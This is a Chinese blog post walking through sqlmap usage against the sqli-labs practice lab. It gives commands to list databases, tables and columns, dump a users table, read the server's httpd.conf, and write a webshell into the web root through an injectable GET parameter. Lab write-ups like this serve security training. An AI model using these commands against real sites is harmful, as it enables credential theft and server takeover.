實戰篇——SQL隱碼攻擊sqli-labs-master靶場實戰三

yaoguyuan發表於2024-07-03

實戰篇——SQL隱碼攻擊sqli-labs-master靶場實戰(3)

sqlmap基礎用法

GET型:

image-20240703131759555

image-20240703131935003

POST型:

image-20240703135148479

image-20240703135232730

image-20240703135334040

image-20240703135503021

請求頭注入(以User-Agent注入為例):

image-20240703152050326

image-20240703152129731

image-20240703152221382

爆庫:

python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 --dbs

image-20240703152743565

爆表:

python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 -D pikachu --tables

image-20240703152851346

爆欄位:

python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 -D pikachu -T users --columns

image-20240703153212914

爆資料:

python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --threads 10 -D pikachu -T users --dump

image-20240703153611626

讀取檔案:

python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --file-read C:\phpStudy\PHPTutorial\Apache\conf\httpd.conf

image-20240703160914657

寫入檔案:

python sqlmap.py -r C:\Users\yaogu\Desktop\sqlmap\request\1.txt --file-write C:\Users\yaogu\Desktop\webshell.php --file-dest C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-11\webshell.php

在操作過程中發現寫入失敗:

image-20240703170337737

經過檢查,確認當前使用者是DBA並且secure_file_priv=/,但依然無法寫入。真正的原因在於此注入點是插入型而非查詢型,由於子查詢不能透過into outfile匯出檔案,因此雖然可以讀取檔案但是無法寫入檔案。

所以想要寫入檔案必須更換注入點:

python sqlmap.py -u http://192.168.118.142/sqli-labs-master/Less-1/?id=1 --file-write C:\Users\yaogu\Desktop\webshell.php --file-dest C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-11\webshell.php

寫入成功:

image-20240703171213997

image-20240703171410750

相關文章